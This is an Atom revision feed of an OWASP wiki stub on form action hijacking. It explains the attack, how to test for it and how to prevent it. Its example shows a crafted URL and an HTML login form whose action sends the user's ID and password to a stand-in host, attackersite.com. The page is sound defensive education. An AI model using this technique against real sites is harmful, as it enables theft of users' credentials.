<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/index.php?action=history&amp;feed=atom&amp;title=Form_action_hijacking</id>
		<title>Form action hijacking - Revision history</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/index.php?action=history&amp;feed=atom&amp;title=Form_action_hijacking"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Form_action_hijacking&amp;action=history"/>
		<updated>2026-04-12T05:56:02Z</updated>
		<subtitle>Revision history for this page on the wiki</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Form_action_hijacking&amp;diff=233189&amp;oldid=prev</id>
		<title>Robert Gilbert: Created page with &quot;{{stub}} {{Template:Attack}}  Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''  ==Overview== Form action hijacking allows an attacker to spec...&quot;</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Form_action_hijacking&amp;diff=233189&amp;oldid=prev"/>
				<updated>2017-09-12T17:28:52Z</updated>
		
		<summary type="html">&lt;p&gt;Created page with &amp;quot;{{stub}} {{Template:Attack}}  Last revision (mm/dd/yy): &amp;#039;&amp;#039;&amp;#039;{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}&amp;#039;&amp;#039;&amp;#039;  ==Overview== Form action hijacking allows an attacker to spec...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{stub}}&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Form action hijacking allows an attacker to specify the action URL of a form via a paramter. &lt;br /&gt;
An attacker can construct a URL that will modify the action URL of a form to point to the attacker's server. &lt;br /&gt;
Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test for Form Action Hijacking Vulnerabilities==&lt;br /&gt;
Check parameter values passed to the form action. See example below.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent Form Action Hijacking Vulnerabilities==&lt;br /&gt;
Hard-code the form action URL or use a whitelist of allowed URLs.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
The following URL will generate the a form and set the &amp;quot;url&amp;quot; parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker's site. &lt;br /&gt;
&lt;br /&gt;
URL: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
https://vulnerablehost.com/?url=https://attackersite.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;form1&amp;quot; id=&amp;quot;form1&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://attackersite.com&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;id&amp;quot; value=&amp;quot;user name&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;pass&amp;quot; value=&amp;quot;password&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/20.html Common Weakness Enumeration - CWE-20: Improper Input Validation]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00501500_formactionhijackingreflected PortSwigger: Form action hijacking (reflected)]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00501501_formactionhijackingstored PortSwigger: Form action hijacking (stored)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Input Validation Vulnerability]]&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	</feed>